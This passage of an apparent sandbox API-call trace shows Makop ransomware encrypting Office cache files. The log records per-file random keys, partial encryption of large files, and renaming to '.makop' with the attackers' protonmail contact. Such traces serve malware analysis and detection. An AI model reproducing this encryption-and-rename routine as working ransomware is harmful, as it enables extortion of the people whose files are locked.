[0080.782] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.783] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x65510, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x65510, lpOverlapped=0x0) returned 1 [0080.811] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x65510, dwBufLen=0x65510 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x65510) returned 1 [0080.816] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.816] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x65510, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x65510, lpOverlapped=0x0) returned 1 [0080.822] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.822] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1655e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.822] SetEndOfFile (hFile=0x124) returned 1 [0080.832] GetProcessHeap () returned 0x48a0000 [0080.832] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0080.832] GetProcessHeap () returned 0x48a0000 [0080.832] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.832] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0080.832] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.833] CloseHandle (hObject=0x124) returned 1 [0080.833] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0080.834] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0080.834] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.834] GetProcessHeap () returned 0x48a0000 [0080.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.834] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.834] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0080.835] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0080.841] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.841] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.841] GetProcessHeap () returned 0x48a0000 [0080.841] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0080.842] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x6579510*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x6579510*=0x50) returned 1 [0080.842] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.842] WriteFile (in: hFile=0x124, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x6579528*=0x50, lpOverlapped=0x0) returned 1 [0080.842] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0080.842] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0080.842] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0080.842] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.843] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0080.843] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0080.843] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.843] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.843] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xaec3a, lpOverlapped=0x0) returned 1 [0080.863] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xaec40) returned 1 [0080.872] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.872] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xaec40, lpOverlapped=0x0) returned 1 [0080.877] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.877] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.878] SetEndOfFile (hFile=0x124) returned 1 [0080.888] GetProcessHeap () returned 0x48a0000 [0080.888] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0080.888] GetProcessHeap () returned 0x48a0000 [0080.888] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.888] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 134 [0080.888] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0080.901] CloseHandle (hObject=0x124) returned 1 [0080.902] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0080.902] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0080.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.915] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=27532288) returned 1 [0080.915] GetProcessHeap () returned 0x48a0000 [0080.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0080.915] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0080.916] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0080.916] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.916] GetProcessHeap () returned 0x48a0000 [0080.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0080.916] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0080.916] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.916] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0080.922] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0080.922] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0080.922] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0080.922] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0080.923] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0080.923] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0080.923] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0080.923] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.923] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.936] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.939] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.941] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.942] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.942] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.942] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.962] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.964] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.964] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.969] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.969] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.969] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0080.970] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0080.977] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0080.980] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.980] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0080.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.982] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0080.982] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0080.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.982] SetEndOfFile (hFile=0x124) returned 1 [0080.989] GetProcessHeap () returned 0x48a0000 [0080.989] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0080.989] GetProcessHeap () returned 0x48a0000 [0080.989] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0080.989] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0080.989] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.204] CloseHandle (hObject=0x124) returned 1 [0081.204] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0081.204] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0081.204] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.205] GetProcessHeap () returned 0x48a0000 [0081.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.205] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.205] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0081.205] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xc, lpOverlapped=0x0) returned 1 [0081.222] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.222] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.222] GetProcessHeap () returned 0x48a0000 [0081.222] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0081.223] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0081.223] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.223] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0081.223] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0081.223] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0081.223] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0081.224] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.226] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0081.226] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.226] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.227] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.227] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x41d4, lpOverlapped=0x0) returned 1 [0081.228] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x41e0) returned 1 [0081.228] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.229] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x41e0, lpOverlapped=0x0) returned 1 [0081.229] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.229] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.229] SetEndOfFile (hFile=0x124) returned 1 [0081.236] GetProcessHeap () returned 0x48a0000 [0081.236] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0081.236] GetProcessHeap () returned 0x48a0000 [0081.236] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.236] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0081.236] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all 